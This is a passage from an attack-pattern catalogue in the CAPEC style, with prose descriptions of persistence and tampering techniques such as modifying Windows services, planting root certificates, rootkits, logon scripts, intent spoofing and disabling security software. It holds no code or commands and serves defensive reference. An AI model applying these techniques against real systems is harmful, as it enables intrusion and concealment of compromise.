An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.